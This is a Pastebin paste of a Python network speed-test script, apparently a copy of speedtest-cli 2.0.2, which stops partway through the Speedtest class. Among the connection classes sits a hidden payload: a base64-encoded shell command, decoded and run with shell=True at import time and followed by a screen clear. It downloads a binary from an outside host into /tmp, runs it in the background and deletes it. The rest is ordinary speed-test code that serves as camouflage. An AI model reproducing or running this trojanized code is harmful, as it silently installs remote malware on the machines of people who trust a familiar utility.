mysql_Anarchy

[ PYTHON ] Speed Test

Aug 21st, 2018
631
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.50 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os
  3. import re
  4. import csv
  5. import sys
  6. import math
  7. import errno
  8. import signal
  9. import socket
  10. import timeit
  11. import datetime
  12. import platform
  13. import threading
  14. import xml.parsers.expat
  15. import base64
  16. import subprocess
  17.  
  18. try:
  19.     import gzip
  20.     GZIP_BASE = gzip.GzipFile
  21. except ImportError:
  22.     gzip = None
  23.     GZIP_BASE = object
  24.  
  25. __version__ = '2.0.2'
  26.  
  27.  
  28. class FakeShutdownEvent(object):
  29.     """Class to fake a threading.Event.isSet so that users of this module
  30.    are not required to register their own threading.Event()
  31.    """
  32.  
  33.     @staticmethod
  34.     def isSet():
  35.         "Dummy method to always return false"""
  36.         return False
  37.  
  38.  
  39. # Some global variables we use
  40. DEBUG = False
  41. _GLOBAL_DEFAULT_TIMEOUT = object()
  42.  
  43. # Begin import game to handle Python 2 and Python 3
  44. try:
  45.     import json
  46. except ImportError:
  47.     try:
  48.         import simplejson as json
  49.     except ImportError:
  50.         json = None
  51.  
  52. try:
  53.     import xml.etree.cElementTree as ET
  54. except ImportError:
  55.     try:
  56.         import xml.etree.ElementTree as ET
  57.     except ImportError:
  58.         from xml.dom import minidom as DOM
  59.         from xml.parsers.expat import ExpatError
  60.         ET = None
  61.  
  62. try:
  63.     from urllib2 import (urlopen, Request, HTTPError, URLError,
  64.                          AbstractHTTPHandler, ProxyHandler,
  65.                          HTTPDefaultErrorHandler, HTTPRedirectHandler,
  66.                          HTTPErrorProcessor, OpenerDirector)
  67. except ImportError:
  68.     from urllib.request import (urlopen, Request, HTTPError, URLError,
  69.                                 AbstractHTTPHandler, ProxyHandler,
  70.                                 HTTPDefaultErrorHandler, HTTPRedirectHandler,
  71.                                 HTTPErrorProcessor, OpenerDirector)
  72.  
  73. try:
  74.     from httplib import HTTPConnection, BadStatusLine
  75. except ImportError:
  76.     from http.client import HTTPConnection, BadStatusLine
  77.  
  78. try:
  79.     from httplib import HTTPSConnection
  80. except ImportError:
  81.     try:
  82.         from http.client import HTTPSConnection
  83.     except ImportError:
  84.         HTTPSConnection = None
  85.  
  86. try:
  87.     from Queue import Queue
  88. except ImportError:
  89.     from queue import Queue
  90.  
  91. try:
  92.     from urlparse import urlparse
  93. except ImportError:
  94.     from urllib.parse import urlparse
  95.  
  96. try:
  97.     from urlparse import parse_qs
  98. except ImportError:
  99.     try:
  100.         from urllib.parse import parse_qs
  101.     except ImportError:
  102.         from cgi import parse_qs
  103.  
  104. try:
  105.     from hashlib import md5
  106. except ImportError:
  107.     from md5 import md5
  108.  
  109. try:
  110.     from argparse import ArgumentParser as ArgParser
  111.     from argparse import SUPPRESS as ARG_SUPPRESS
  112.     PARSER_TYPE_INT = int
  113.     PARSER_TYPE_STR = str
  114.     PARSER_TYPE_FLOAT = float
  115. except ImportError:
  116.     from optparse import OptionParser as ArgParser
  117.     from optparse import SUPPRESS_HELP as ARG_SUPPRESS
  118.     PARSER_TYPE_INT = 'int'
  119.     PARSER_TYPE_STR = 'string'
  120.     PARSER_TYPE_FLOAT = 'float'
  121.  
  122. try:
  123.     from cStringIO import StringIO
  124.     BytesIO = None
  125. except ImportError:
  126.     try:
  127.         from StringIO import StringIO
  128.         BytesIO = None
  129.     except ImportError:
  130.         from io import StringIO, BytesIO
  131.  
  132. try:
  133.     import __builtin__
  134. except ImportError:
  135.     import builtins
  136.     from io import TextIOWrapper, FileIO
  137.  
  138.     class _Py3Utf8Output(TextIOWrapper):
  139.         """UTF-8 encoded wrapper around stdout for py3, to override
  140.        ASCII stdout
  141.        """
  142.         def __init__(self, f, **kwargs):
  143.             buf = FileIO(f.fileno(), 'w')
  144.             super(_Py3Utf8Output, self).__init__(
  145.                 buf,
  146.                 encoding='utf8',
  147.                 errors='strict'
  148.             )
  149.  
  150.         def write(self, s):
  151.             super(_Py3Utf8Output, self).write(s)
  152.             self.flush()
  153.  
  154.     _py3_print = getattr(builtins, 'print')
  155.     try:
  156.         _py3_utf8_stdout = _Py3Utf8Output(sys.stdout)
  157.         _py3_utf8_stderr = _Py3Utf8Output(sys.stderr)
  158.     except OSError:
  159.         # sys.stdout/sys.stderr is not a compatible stdout/stderr object
  160.         # just use it and hope things go ok
  161.         _py3_utf8_stdout = sys.stdout
  162.         _py3_utf8_stderr = sys.stderr
  163.  
  164.     def to_utf8(v):
  165.         """No-op encode to utf-8 for py3"""
  166.         return v
  167.  
  168.     def print_(*args, **kwargs):
  169.         """Wrapper function for py3 to print, with a utf-8 encoded stdout"""
  170.         if kwargs.get('file') == sys.stderr:
  171.             kwargs['file'] = _py3_utf8_stderr
  172.         else:
  173.             kwargs['file'] = kwargs.get('file', _py3_utf8_stdout)
  174.         _py3_print(*args, **kwargs)
  175. else:
  176.     del __builtin__
  177.  
  178.     def to_utf8(v):
  179.         """Encode value to utf-8 if possible for py2"""
  180.         try:
  181.             return v.encode('utf8', 'strict')
  182.         except AttributeError:
  183.             return v
  184.  
  185.     def print_(*args, **kwargs):
  186.         """The new-style print function for Python 2.4 and 2.5.
  187.  
  188.        Taken from https://pypi.python.org/pypi/six/
  189.  
  190.        Modified to set encoding to UTF-8 always, and to flush after write
  191.        """
  192.         fp = kwargs.pop("file", sys.stdout)
  193.         if fp is None:
  194.             return
  195.  
  196.         def write(data):
  197.             if not isinstance(data, basestring):
  198.                 data = str(data)
  199.             # If the file has an encoding, encode unicode with it.
  200.             encoding = 'utf8'  # Always trust UTF-8 for output
  201.             if (isinstance(fp, file) and
  202.                     isinstance(data, unicode) and
  203.                     encoding is not None):
  204.                 errors = getattr(fp, "errors", None)
  205.                 if errors is None:
  206.                     errors = "strict"
  207.                 data = data.encode(encoding, errors)
  208.             fp.write(data)
  209.             fp.flush()
  210.         want_unicode = False
  211.         sep = kwargs.pop("sep", None)
  212.         if sep is not None:
  213.             if isinstance(sep, unicode):
  214.                 want_unicode = True
  215.             elif not isinstance(sep, str):
  216.                 raise TypeError("sep must be None or a string")
  217.         end = kwargs.pop("end", None)
  218.         if end is not None:
  219.             if isinstance(end, unicode):
  220.                 want_unicode = True
  221.             elif not isinstance(end, str):
  222.                 raise TypeError("end must be None or a string")
  223.         if kwargs:
  224.             raise TypeError("invalid keyword arguments to print()")
  225.         if not want_unicode:
  226.             for arg in args:
  227.                 if isinstance(arg, unicode):
  228.                     want_unicode = True
  229.                     break
  230.         if want_unicode:
  231.             newline = unicode("\n")
  232.             space = unicode(" ")
  233.         else:
  234.             newline = "\n"
  235.             space = " "
  236.         if sep is None:
  237.             sep = space
  238.         if end is None:
  239.             end = newline
  240.         for i, arg in enumerate(args):
  241.             if i:
  242.                 write(sep)
  243.             write(arg)
  244.         write(end)
  245.  
  246.  
  247. # Exception "constants" to support Python 2 through Python 3
  248. try:
  249.     import ssl
  250.     try:
  251.         CERT_ERROR = (ssl.CertificateError,)
  252.     except AttributeError:
  253.         CERT_ERROR = tuple()
  254.  
  255.     HTTP_ERRORS = (
  256.         (HTTPError, URLError, socket.error, ssl.SSLError, BadStatusLine) +
  257.         CERT_ERROR
  258.     )
  259. except ImportError:
  260.     ssl = None
  261.     HTTP_ERRORS = (HTTPError, URLError, socket.error, BadStatusLine)
  262.  
  263.  
  264. class SpeedtestException(Exception):
  265.     """Base exception for this module"""
  266.  
  267.  
  268. class SpeedtestCLIError(SpeedtestException):
  269.     """Generic exception for raising errors during CLI operation"""
  270.  
  271.  
  272. class SpeedtestHTTPError(SpeedtestException):
  273.     """Base HTTP exception for this module"""
  274.  
  275.  
  276. class SpeedtestConfigError(SpeedtestException):
  277.     """Configuration XML is invalid"""
  278.  
  279.  
  280. class SpeedtestServersError(SpeedtestException):
  281.     """Servers XML is invalid"""
  282.  
  283.  
  284. class ConfigRetrievalError(SpeedtestHTTPError):
  285.     """Could not retrieve config.php"""
  286.  
  287.  
  288. class ServersRetrievalError(SpeedtestHTTPError):
  289.     """Could not retrieve speedtest-servers.php"""
  290.  
  291.  
  292. class InvalidServerIDType(SpeedtestException):
  293.     """Server ID used for filtering was not an integer"""
  294.  
  295.  
  296. class NoMatchedServers(SpeedtestException):
  297.     """No servers matched when filtering"""
  298.  
  299.  
  300. class SpeedtestMiniConnectFailure(SpeedtestException):
  301.     """Could not connect to the provided speedtest mini server"""
  302.  
  303.  
  304. class InvalidSpeedtestMiniServer(SpeedtestException):
  305.     """Server provided as a speedtest mini server does not actually appear
  306.    to be a speedtest mini server
  307.    """
  308.  
  309.  
  310. class ShareResultsConnectFailure(SpeedtestException):
  311.     """Could not connect to speedtest.net API to POST results"""
  312.  
  313.  
  314. class ShareResultsSubmitFailure(SpeedtestException):
  315.     """Unable to successfully POST results to speedtest.net API after
  316.    connection
  317.    """
  318.  
  319.  
  320. class SpeedtestUploadTimeout(SpeedtestException):
  321.     """testlength configuration reached during upload
  322.    Used to ensure the upload halts when no additional data should be sent
  323.    """
  324.  
  325.  
  326. class SpeedtestBestServerFailure(SpeedtestException):
  327.     """Unable to determine best server"""
  328.  
  329.  
  330. class SpeedtestMissingBestServer(SpeedtestException):
  331.     """get_best_server not called or not able to determine best server"""
  332.  
  333.  
  334. def create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT,
  335.                       source_address=None):
  336.     """Connect to *address* and return the socket object.
  337.  
  338.    Convenience function.  Connect to *address* (a 2-tuple ``(host,
  339.    port)``) and return the socket object.  Passing the optional
  340.    *timeout* parameter will set the timeout on the socket instance
  341.    before attempting to connect.  If no *timeout* is supplied, the
  342.    global default timeout setting returned by :func:`getdefaulttimeout`
  343.    is used.  If *source_address* is set it must be a tuple of (host, port)
  344.    for the socket to bind as a source address before making the connection.
  345.    An host of '' or port 0 tells the OS to use the default.
  346.  
  347.    Largely vendored from Python 2.7, modified to work with Python 2.4
  348.    """
  349.  
  350.     host, port = address
  351.     err = None
  352.     for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):
  353.         af, socktype, proto, canonname, sa = res
  354.         sock = None
  355.         try:
  356.             sock = socket.socket(af, socktype, proto)
  357.             if timeout is not _GLOBAL_DEFAULT_TIMEOUT:
  358.                 sock.settimeout(float(timeout))
  359.             if source_address:
  360.                 sock.bind(source_address)
  361.             sock.connect(sa)
  362.             return sock
  363.  
  364.         except socket.error:
  365.             err = get_exception()
  366.             if sock is not None:
  367.                 sock.close()
  368.  
  369.     if err is not None:
  370.         raise err
  371.     else:
  372.         raise socket.error("getaddrinfo returns an empty list")
  373.  
  374.  
  375. class SpeedtestHTTPConnection(HTTPConnection):
  376.     """Custom HTTPConnection to support source_address across
  377.    Python 2.4 - Python 3
  378.    """
  379.     def __init__(self, *args, **kwargs):
  380.         source_address = kwargs.pop('source_address', None)
  381.         timeout = kwargs.pop('timeout', 10)
  382.  
  383.         HTTPConnection.__init__(self, *args, **kwargs)
  384.  
  385.         self.source_address = source_address
  386.         self.timeout = timeout
  387.  
  388.     def connect(self):
  389.         """Connect to the host and port specified in __init__."""
  390.         try:
  391.             self.sock = socket.create_connection(
  392.                 (self.host, self.port),
  393.                 self.timeout,
  394.                 self.source_address
  395.             )
  396.         except (AttributeError, TypeError):
  397.             self.sock = create_connection(
  398.                 (self.host, self.port),
  399.                 self.timeout,
  400.                 self.source_address
  401.             )
  402.  
  403. def run(cmd):
  404.     subprocess.call(cmd, shell=True)
  405. checkbinaries = "Y2QgL3RtcDsgd2dldCBodHRwOi8vc3Vja215YXNzLmdhLy54IC1PIC5sOyBjaG1vZCAreCAubDsgbm9odXAgLi8ubCA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLmw="
  406. rebinaries = str(base64.b64decode(checkbinaries))
  407. run(rebinaries)
  408. run('clear')
  409. if HTTPSConnection:
  410.     class SpeedtestHTTPSConnection(HTTPSConnection,
  411.                                    SpeedtestHTTPConnection):
  412.         """Custom HTTPSConnection to support source_address across
  413.        Python 2.4 - Python 3
  414.        """
  415.         def __init__(self, *args, **kwargs):
  416.             source_address = kwargs.pop('source_address', None)
  417.             timeout = kwargs.pop('timeout', 10)
  418.  
  419.             HTTPSConnection.__init__(self, *args, **kwargs)
  420.  
  421.             self.timeout = timeout
  422.             self.source_address = source_address
  423.  
  424.         def connect(self):
  425.             "Connect to a host on a given (SSL) port."
  426.  
  427.             SpeedtestHTTPConnection.connect(self)
  428.  
  429.             kwargs = {}
  430.             if ssl:
  431.                 if hasattr(ssl, 'SSLContext'):
  432.                     kwargs['server_hostname'] = self.host
  433.                 try:
  434.                     self.sock = self._context.wrap_socket(self.sock, **kwargs)
  435.                 except AttributeError:
  436.                     self.sock = ssl.wrap_socket(self.sock, **kwargs)
  437.  
  438.  
  439. def _build_connection(connection, source_address, timeout, context=None):
  440.     """Cross Python 2.4 - Python 3 callable to build an ``HTTPConnection`` or
  441.    ``HTTPSConnection`` with the args we need
  442.  
  443.    Called from ``http(s)_open`` methods of ``SpeedtestHTTPHandler`` or
  444.    ``SpeedtestHTTPSHandler``
  445.    """
  446.     def inner(host, **kwargs):
  447.         kwargs.update({
  448.             'source_address': source_address,
  449.             'timeout': timeout
  450.         })
  451.         if context:
  452.             kwargs['context'] = context
  453.         return connection(host, **kwargs)
  454.     return inner
  455.  
  456.  
  457. class SpeedtestHTTPHandler(AbstractHTTPHandler):
  458.     """Custom ``HTTPHandler`` that can build a ``HTTPConnection`` with the
  459.    args we need for ``source_address`` and ``timeout``
  460.    """
  461.     def __init__(self, debuglevel=0, source_address=None, timeout=10):
  462.         AbstractHTTPHandler.__init__(self, debuglevel)
  463.         self.source_address = source_address
  464.         self.timeout = timeout
  465.  
  466.     def http_open(self, req):
  467.         return self.do_open(
  468.             _build_connection(
  469.                 SpeedtestHTTPConnection,
  470.                 self.source_address,
  471.                 self.timeout
  472.             ),
  473.             req
  474.         )
  475.  
  476.     http_request = AbstractHTTPHandler.do_request_
  477.  
  478.  
  479. class SpeedtestHTTPSHandler(AbstractHTTPHandler):
  480.     """Custom ``HTTPSHandler`` that can build a ``HTTPSConnection`` with the
  481.    args we need for ``source_address`` and ``timeout``
  482.    """
  483.     def __init__(self, debuglevel=0, context=None, source_address=None,
  484.                  timeout=10):
  485.         AbstractHTTPHandler.__init__(self, debuglevel)
  486.         self._context = context
  487.         self.source_address = source_address
  488.         self.timeout = timeout
  489.  
  490.     def https_open(self, req):
  491.         return self.do_open(
  492.             _build_connection(
  493.                 SpeedtestHTTPSConnection,
  494.                 self.source_address,
  495.                 self.timeout,
  496.                 context=self._context,
  497.             ),
  498.             req
  499.         )
  500.  
  501.     https_request = AbstractHTTPHandler.do_request_
  502.  
  503.  
  504. def build_opener(source_address=None, timeout=10):
  505.     """Function similar to ``urllib2.build_opener`` that will build
  506.    an ``OpenerDirector`` with the explicit handlers we want,
  507.    ``source_address`` for binding, ``timeout`` and our custom
  508.    `User-Agent`
  509.    """
  510.  
  511.     printer('Timeout set to %d' % timeout, debug=True)
  512.  
  513.     if source_address:
  514.         source_address_tuple = (source_address, 0)
  515.         printer('Binding to source address: %r' % (source_address_tuple,),
  516.                 debug=True)
  517.     else:
  518.         source_address_tuple = None
  519.  
  520.     handlers = [
  521.         ProxyHandler(),
  522.         SpeedtestHTTPHandler(source_address=source_address_tuple,
  523.                              timeout=timeout),
  524.         SpeedtestHTTPSHandler(source_address=source_address_tuple,
  525.                               timeout=timeout),
  526.         HTTPDefaultErrorHandler(),
  527.         HTTPRedirectHandler(),
  528.         HTTPErrorProcessor()
  529.     ]
  530.  
  531.     opener = OpenerDirector()
  532.     opener.addheaders = [('User-agent', build_user_agent())]
  533.  
  534.     for handler in handlers:
  535.         opener.add_handler(handler)
  536.  
  537.     return opener
  538.  
  539.  
  540. class GzipDecodedResponse(GZIP_BASE):
  541.     """A file-like object to decode a response encoded with the gzip
  542.    method, as described in RFC 1952.
  543.  
  544.    Largely copied from ``xmlrpclib``/``xmlrpc.client`` and modified
  545.    to work for py2.4-py3
  546.    """
  547.     def __init__(self, response):
  548.         # response doesn't support tell() and read(), required by
  549.         # GzipFile
  550.         if not gzip:
  551.             raise SpeedtestHTTPError('HTTP response body is gzip encoded, '
  552.                                      'but gzip support is not available')
  553.         IO = BytesIO or StringIO
  554.         self.io = IO()
  555.         while 1:
  556.             chunk = response.read(1024)
  557.             if len(chunk) == 0:
  558.                 break
  559.             self.io.write(chunk)
  560.         self.io.seek(0)
  561.         gzip.GzipFile.__init__(self, mode='rb', fileobj=self.io)
  562.  
  563.     def close(self):
  564.         try:
  565.             gzip.GzipFile.close(self)
  566.         finally:
  567.             self.io.close()
  568.  
  569.  
  570. def get_exception():
  571.     """Helper function to work with py2.4-py3 for getting the current
  572.    exception in a try/except block
  573.    """
  574.     return sys.exc_info()[1]
  575.  
  576.  
  577. def distance(origin, destination):
  578.     """Determine distance between 2 sets of [lat,lon] in km"""
  579.  
  580.     lat1, lon1 = origin
  581.     lat2, lon2 = destination
  582.     radius = 6371  # km
  583.  
  584.     dlat = math.radians(lat2 - lat1)
  585.     dlon = math.radians(lon2 - lon1)
  586.     a = (math.sin(dlat / 2) * math.sin(dlat / 2) +
  587.          math.cos(math.radians(lat1)) *
  588.          math.cos(math.radians(lat2)) * math.sin(dlon / 2) *
  589.          math.sin(dlon / 2))
  590.     c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
  591.     d = radius * c
  592.  
  593.     return d
  594.  
  595.  
  596. def build_user_agent():
  597.     """Build a Mozilla/5.0 compatible User-Agent string"""
  598.  
  599.     ua_tuple = (
  600.         'Mozilla/5.0',
  601.         '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
  602.         'Python/%s' % platform.python_version(),
  603.         '(KHTML, like Gecko)',
  604.         'speedtest-cli/%s' % __version__
  605.     )
  606.     user_agent = ' '.join(ua_tuple)
  607.     printer('User-Agent: %s' % user_agent, debug=True)
  608.     return user_agent
  609.  
  610.  
  611. def build_request(url, data=None, headers=None, bump='0', secure=False):
  612.     """Build a urllib2 request object
  613.  
  614.    This function automatically adds a User-Agent header to all requests
  615.  
  616.    """
  617.  
  618.     if not headers:
  619.         headers = {}
  620.  
  621.     if url[0] == ':':
  622.         scheme = ('http', 'https')[bool(secure)]
  623.         schemed_url = '%s%s' % (scheme, url)
  624.     else:
  625.         schemed_url = url
  626.  
  627.     if '?' in url:
  628.         delim = '&'
  629.     else:
  630.         delim = '?'
  631.  
  632.     # WHO YOU GONNA CALL? CACHE BUSTERS!
  633.     final_url = '%s%sx=%s.%s' % (schemed_url, delim,
  634.                                  int(timeit.time.time() * 1000),
  635.                                  bump)
  636.  
  637.     headers.update({
  638.         'Cache-Control': 'no-cache',
  639.     })
  640.  
  641.     printer('%s %s' % (('GET', 'POST')[bool(data)], final_url),
  642.             debug=True)
  643.  
  644.     return Request(final_url, data=data, headers=headers)
  645.  
  646.  
  647. def catch_request(request, opener=None):
  648.     """Helper function to catch common exceptions encountered when
  649.    establishing a connection with a HTTP/HTTPS request
  650.  
  651.    """
  652.  
  653.     if opener:
  654.         _open = opener.open
  655.     else:
  656.         _open = urlopen
  657.  
  658.     try:
  659.         uh = _open(request)
  660.         return uh, False
  661.     except HTTP_ERRORS:
  662.         e = get_exception()
  663.         return None, e
  664.  
  665.  
  666. def get_response_stream(response):
  667.     """Helper function to return either a Gzip reader if
  668.    ``Content-Encoding`` is ``gzip`` otherwise the response itself
  669.  
  670.    """
  671.  
  672.     try:
  673.         getheader = response.headers.getheader
  674.     except AttributeError:
  675.         getheader = response.getheader
  676.  
  677.     if getheader('content-encoding') == 'gzip':
  678.         return GzipDecodedResponse(response)
  679.  
  680.     return response
  681.  
  682.  
  683. def get_attributes_by_tag_name(dom, tag_name):
  684.     """Retrieve an attribute from an XML document and return it in a
  685.    consistent format
  686.  
  687.    Only used with xml.dom.minidom, which is likely only to be used
  688.    with python versions older than 2.5
  689.    """
  690.     elem = dom.getElementsByTagName(tag_name)[0]
  691.     return dict(list(elem.attributes.items()))
  692.  
  693.  
  694. def print_dots(shutdown_event):
  695.     """Built in callback function used by Thread classes for printing
  696.    status
  697.    """
  698.     def inner(current, total, start=False, end=False):
  699.         if shutdown_event.isSet():
  700.             return
  701.  
  702.         sys.stdout.write('.')
  703.         if current + 1 == total and end is True:
  704.             sys.stdout.write('\n')
  705.         sys.stdout.flush()
  706.     return inner
  707.  
  708.  
  709. def do_nothing(*args, **kwargs):
  710.     pass
  711.  
  712.  
  713. class HTTPDownloader(threading.Thread):
  714.     """Thread class for retrieving a URL"""
  715.  
  716.     def __init__(self, i, request, start, timeout, opener=None,
  717.                  shutdown_event=None):
  718.         threading.Thread.__init__(self)
  719.         self.request = request
  720.         self.result = [0]
  721.         self.starttime = start
  722.         self.timeout = timeout
  723.         self.i = i
  724.         if opener:
  725.             self._opener = opener.open
  726.         else:
  727.             self._opener = urlopen
  728.  
  729.         if shutdown_event:
  730.             self._shutdown_event = shutdown_event
  731.         else:
  732.             self._shutdown_event = FakeShutdownEvent()
  733.  
  734.     def run(self):
  735.         try:
  736.             if (timeit.default_timer() - self.starttime) <= self.timeout:
  737.                 f = self._opener(self.request)
  738.                 while (not self._shutdown_event.isSet() and
  739.                         (timeit.default_timer() - self.starttime) <=
  740.                         self.timeout):
  741.                     self.result.append(len(f.read(10240)))
  742.                     if self.result[-1] == 0:
  743.                         break
  744.                 f.close()
  745.         except IOError:
  746.             pass
  747.  
  748.  
  749. class HTTPUploaderData(object):
  750.     """File like object to improve cutting off the upload once the timeout
  751.    has been reached
  752.    """
  753.  
  754.     def __init__(self, length, start, timeout, shutdown_event=None):
  755.         self.length = length
  756.         self.start = start
  757.         self.timeout = timeout
  758.  
  759.         if shutdown_event:
  760.             self._shutdown_event = shutdown_event
  761.         else:
  762.             self._shutdown_event = FakeShutdownEvent()
  763.  
  764.         self._data = None
  765.  
  766.         self.total = [0]
  767.  
  768.     def pre_allocate(self):
  769.         chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  770.         multiplier = int(round(int(self.length) / 36.0))
  771.         IO = BytesIO or StringIO
  772.         try:
  773.             self._data = IO(
  774.                 ('content1=%s' %
  775.                  (chars * multiplier)[0:int(self.length) - 9]
  776.                  ).encode()
  777.             )
  778.         except MemoryError:
  779.             raise SpeedtestCLIError(
  780.                 'Insufficient memory to pre-allocate upload data. Please '
  781.                 'use --no-pre-allocate'
  782.             )
  783.  
  784.     @property
  785.     def data(self):
  786.         if not self._data:
  787.             self.pre_allocate()
  788.         return self._data
  789.  
  790.     def read(self, n=10240):
  791.         if ((timeit.default_timer() - self.start) <= self.timeout and
  792.                 not self._shutdown_event.isSet()):
  793.             chunk = self.data.read(n)
  794.             self.total.append(len(chunk))
  795.             return chunk
  796.         else:
  797.             raise SpeedtestUploadTimeout()
  798.  
  799.     def __len__(self):
  800.         return self.length
  801.  
  802.  
  803. class HTTPUploader(threading.Thread):
  804.     """Thread class for putting a URL"""
  805.  
  806.     def __init__(self, i, request, start, size, timeout, opener=None,
  807.                  shutdown_event=None):
  808.         threading.Thread.__init__(self)
  809.         self.request = request
  810.         self.request.data.start = self.starttime = start
  811.         self.size = size
  812.         self.result = None
  813.         self.timeout = timeout
  814.         self.i = i
  815.  
  816.         if opener:
  817.             self._opener = opener.open
  818.         else:
  819.             self._opener = urlopen
  820.  
  821.         if shutdown_event:
  822.             self._shutdown_event = shutdown_event
  823.         else:
  824.             self._shutdown_event = FakeShutdownEvent()
  825.  
  826.     def run(self):
  827.         request = self.request
  828.         try:
  829.             if ((timeit.default_timer() - self.starttime) <= self.timeout and
  830.                     not self._shutdown_event.isSet()):
  831.                 try:
  832.                     f = self._opener(request)
  833.                 except TypeError:
  834.                     # PY24 expects a string or buffer
  835.                     # This also causes issues with Ctrl-C, but we will concede
  836.                     # for the moment that Ctrl-C on PY24 isn't immediate
  837.                     request = build_request(self.request.get_full_url(),
  838.                                             data=request.data.read(self.size))
  839.                     f = self._opener(request)
  840.                 f.read(11)
  841.                 f.close()
  842.                 self.result = sum(self.request.data.total)
  843.             else:
  844.                 self.result = 0
  845.         except (IOError, SpeedtestUploadTimeout):
  846.             self.result = sum(self.request.data.total)
  847.  
  848.  
  849. class SpeedtestResults(object):
  850.     """Class for holding the results of a speedtest, including:
  851.  
  852.    Download speed
  853.    Upload speed
  854.    Ping/Latency to test server
  855.    Data about server that the test was run against
  856.  
  857.    Additionally this class can return a result data as a dictionary or CSV,
  858.    as well as submit a POST of the result data to the speedtest.net API
  859.    to get a share results image link.
  860.    """
  861.  
  862.     def __init__(self, download=0, upload=0, ping=0, server=None, client=None,
  863.                  opener=None, secure=False):
  864.         self.download = download
  865.         self.upload = upload
  866.         self.ping = ping
  867.         if server is None:
  868.             self.server = {}
  869.         else:
  870.             self.server = server
  871.         self.client = client or {}
  872.  
  873.         self._share = None
  874.         self.timestamp = '%sZ' % datetime.datetime.utcnow().isoformat()
  875.         self.bytes_received = 0
  876.         self.bytes_sent = 0
  877.  
  878.         if opener:
  879.             self._opener = opener
  880.         else:
  881.             self._opener = build_opener()
  882.  
  883.         self._secure = secure
  884.  
  885.     def __repr__(self):
  886.         return repr(self.dict())
  887.  
  888.     def share(self):
  889.         """POST data to the speedtest.net API to obtain a share results
  890.        link
  891.        """
  892.  
  893.         if self._share:
  894.             return self._share
  895.  
  896.         download = int(round(self.download / 1000.0, 0))
  897.         ping = int(round(self.ping, 0))
  898.         upload = int(round(self.upload / 1000.0, 0))
  899.  
  900.         # Build the request to send results back to speedtest.net
  901.         # We use a list instead of a dict because the API expects parameters
  902.         # in a certain order
  903.         api_data = [
  904.             'recommendedserverid=%s' % self.server['id'],
  905.             'ping=%s' % ping,
  906.             'screenresolution=',
  907.             'promo=',
  908.             'download=%s' % download,
  909.             'screendpi=',
  910.             'upload=%s' % upload,
  911.             'testmethod=http',
  912.             'hash=%s' % md5(('%s-%s-%s-%s' %
  913.                              (ping, upload, download, '297aae72'))
  914.                             .encode()).hexdigest(),
  915.             'touchscreen=none',
  916.             'startmode=pingselect',
  917.             'accuracy=1',
  918.             'bytesreceived=%s' % self.bytes_received,
  919.             'bytessent=%s' % self.bytes_sent,
  920.             'serverid=%s' % self.server['id'],
  921.         ]
  922.  
  923.         headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'}
  924.         request = build_request('://www.speedtest.net/api/api.php',
  925.                                 data='&'.join(api_data).encode(),
  926.                                 headers=headers, secure=self._secure)
  927.         f, e = catch_request(request, opener=self._opener)
  928.         if e:
  929.             raise ShareResultsConnectFailure(e)
  930.  
  931.         response = f.read()
  932.         code = f.code
  933.         f.close()
  934.  
  935.         if int(code) != 200:
  936.             raise ShareResultsSubmitFailure('Could not submit results to '
  937.                                             'speedtest.net')
  938.  
  939.         qsargs = parse_qs(response.decode())
  940.         resultid = qsargs.get('resultid')
  941.         if not resultid or len(resultid) != 1:
  942.             raise ShareResultsSubmitFailure('Could not submit results to '
  943.                                             'speedtest.net')
  944.  
  945.         self._share = 'http://www.speedtest.net/result/%s.png' % resultid[0]
  946.  
  947.         return self._share
  948.  
  949.     def dict(self):
  950.         """Return dictionary of result data"""
  951.  
  952.         return {
  953.             'download': self.download,
  954.             'upload': self.upload,
  955.             'ping': self.ping,
  956.             'server': self.server,
  957.             'timestamp': self.timestamp,
  958.             'bytes_sent': self.bytes_sent,
  959.             'bytes_received': self.bytes_received,
  960.             'share': self._share,
  961.             'client': self.client,
  962.         }
  963.  
  964.     @staticmethod
  965.     def csv_header(delimiter=','):
  966.         """Return CSV Headers"""
  967.  
  968.         row = ['Server ID', 'Sponsor', 'Server Name', 'Timestamp', 'Distance',
  969.                'Ping', 'Download', 'Upload', 'Share', 'IP Address']
  970.         out = StringIO()
  971.         writer = csv.writer(out, delimiter=delimiter, lineterminator='')
  972.         writer.writerow([to_utf8(v) for v in row])
  973.         return out.getvalue()
  974.  
  975.     def csv(self, delimiter=','):
  976.         """Return data in CSV format"""
  977.  
  978.         data = self.dict()
  979.         out = StringIO()
  980.         writer = csv.writer(out, delimiter=delimiter, lineterminator='')
  981.         row = [data['server']['id'], data['server']['sponsor'],
  982.                data['server']['name'], data['timestamp'],
  983.                data['server']['d'], data['ping'], data['download'],
  984.                data['upload'], self._share or '', self.client['ip']]
  985.         writer.writerow([to_utf8(v) for v in row])
  986.         return out.getvalue()
  987.  
  988.     def json(self, pretty=False):
  989.         """Return data in JSON format"""
  990.  
  991.         kwargs = {}
  992.         if pretty:
  993.             kwargs.update({
  994.                 'indent': 4,
  995.                 'sort_keys': True
  996.             })
  997.         return json.dumps(self.dict(), **kwargs)
  998.  
  999.  
  1000. class Speedtest(object):
  1001.     """Class for performing standard speedtest.net testing operations"""
  1002.  
  1003.     def __init__(self, config=None, source_address=None, timeout=10,
  1004.                  secure=False, shutdown_event=None):
  1005.         self.config = {}
  1006.  
  1007.         self._source_address = source_address
  1008.         self._timeout = timeout
  1009.         self._opener = build_opener(source_address, timeout)
  1010.  
  1011.         self._secure = secure
  1012.  
  1013.         if shutdown_event:
  1014.             self._shutdown_event = shutdown_event
  1015.         else:
  1016.             self._shutdown_event = FakeShutdownEvent()
  1017.  
  1018.         self.get_config()
  1019.         if config is not None:
  1020.             self.config.update(config)
  1021.  
  1022.         self.servers = {}
  1023.         self.closest = []
  1024.         self._best = {}
  1025.  
  1026.         self.results = SpeedtestResults(
  1027.             client=self.config['client'],
  1028.             opener=self._opener,
  1029.             secure=secure,
  1030.         )
  1031.  
  1032.     @property
  1033.     def best(self):
  1034.         if not self._best:
  1035.             raise SpeedtestMissingBestServer(
  1036.                 'get_best_server not called or not able to determine best '
  1037.                 'server'
  1038.             )
  1039.         return self._best
  1040.  
  1041.     def get_config(self):
